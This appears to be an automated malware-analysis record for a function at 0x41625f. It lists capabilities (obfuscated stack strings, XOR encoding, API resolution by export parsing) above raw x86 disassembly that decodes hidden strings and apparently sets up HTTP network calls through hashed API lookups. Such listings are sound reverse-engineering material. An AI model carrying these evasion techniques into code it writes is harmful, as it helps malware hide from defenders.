Function at 0x41625f
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
add al, dl
aad 0xcb
salc
mov dword [esp + 0xbc], 0xb587dade
mov dword [esp + 0xc0], 0x959c87bb
mov dword [esp + 0xc4], 0xb087a298
mov dword [esp + 0xc8], 0xb7d6cdd5
mov dword [esp + 0xcc], 0x95cfdbc8
mov word [esp + 0xd0], 0x9098
mov al, byte [esp + ecx + 0x94]
sub al, 0x67
mov byte [esp + ecx + 0x100], al
inc ecx
cmp ecx, 0x3e
jl 0x4162a5
push 0x3c
lea eax, [esp + 0x98]
mov byte [esp + 0x142], bl
push ebx
push eax
mov esi, ebx
call fcn.0041902f
add esp, 0xc
lea eax, [esp + 0x100]
mov edx, 0xb3507b39
push ebx
push ebx
push ebx
push ebx
push eax
push 2
pop ecx
call 0x428392
call eax
mov edi, eax
mov dword [esp + 0xfc], edi
test edi, edi
je 0x4169eb
push dword [ebp]
xor ecx, ecx
mov dword [esp + 0x98], 0x3c
lea eax, [esp + 0x144]
mov dword [esp + 0xac], 0x104
mov edx, 0x9e7f4339
mov dword [esp + 0xa8], eax
inc ecx
call 0x4283d9
call eax
add eax, eax
push eax
mov dword [esp + 0xc8], eax
call fcn.0041ae4e
pop ecx
mov dword [esp + 0xc0], eax
mov edx, 0xc589a631
lea eax, [esp + 0x94]
push eax
push 0x80000000
push ebx
push dword [ebp]
push 2
pop ecx
call 0x428410
call eax
test eax, eax
je 0x4168b5
push ebx
push 0x4400000
push 3
push ebx
push ebx
push dword [esp + 0xc0]
mov edx, 0xe4f8f001
push dword [esp + 0xbc]
push edi
push 2
pop ecx
call 0x428440
call eax
mov ecx, eax
mov dword [esp + 0xf8], ecx
test ecx, ecx
je 0x4167b1
cmp dword [esp + 0xa0], 4
mov edx, 0x84c83100
push ebx
mov eax, 0x84480100
cmove eax, edx
mov edx, 0xad1bc01
push eax
push ebx
push ebx
push ebx
push dword [esp + 0xd4]
push dword [ebp + 4]
push ecx
push 2
pop ecx
call 0x428485
call eax
mov edi, eax
test edi, edi
je 0x416680
push 4
lea eax, [esp + 0xf4]
mov dword [esp + 0xf4], 0x4380
push eax
push 0x1f
push edi
push 2
mov edx, 0xc4435159
pop ecx
call 0x4284b6
call eax
mov eax, dword [ebp + 0x20]
test eax, eax
je 0x416459
imul eax, eax, 0x3e8
mov edx, 0xc4435159
push 4
mov dword [esp + 0x64], eax
and al, 0x64
lea eax, [esp + 0x64]
push eax
mov dword [esp + 0x18], 0x517e0c0c
mov ecx, ebx
mov dword [esp + 0x1c], 0x4e434756
mov dword [esp + 0x20], 0x4a7e5047
mov dword [esp + 0x24], 0x41525656
mov dword [esp + 0x28], 0x4c474b4e
mov dword [esp + 0x2c], 0x52410c56
mov byte [esp + 0x30], 0x52
mov al, byte [esp + ecx + 0x18]
xor al, 0x22
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 0x19
jl 0x4166b7
mov byte [esp + 0xed], bl
mov ecx, ebx
mov dword [esp + 0x10], 0xe1ddd1be
mov word [esp + 0x14], 0xdfd1
mov byte [esp + 0x16], 0xe0
mov al, byte [esp + ecx + 0x10]
sub al, 0x6c
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 7
jl 0x4166e7
mov byte [esp + 0x93], bl
mov ecx, ebx
mov dword [esp + 0x34], 0x602023e
mov dword [esp + 0x18], 0xe3cc9e9e
mov ecx, ebx
mov dword [esp + 0x1c], 0xdcd1d5e4
mov dword [esp + 0x20], 0xd8cce2d5
mov dword [esp + 0x24], 0xd3e0e4e4
mov dword [esp + 0x28], 0xded5d9dc
mov dword [esp + 0x2c], 0xe0d39ee4
mov byte [esp + 0x30], 0xe0
mov al, byte [esp + ecx + 0x18]
sub al, 0x70
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 0x19
jl 0x4167e8
mov byte [esp + 0xed], bl
mov ecx, ebx
mov dword [esp + 0x10], 0xb0aca08d
mov word [esp + 0x14], 0xaea0
mov byte [esp + 0x16], 0xaf
mov al, byte [esp + ecx + 0x10]
sub al, 0x3b
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 7
jl 0x416818
mov byte [esp + 0x93], bl
mov ecx, ebx
invalid
inc esp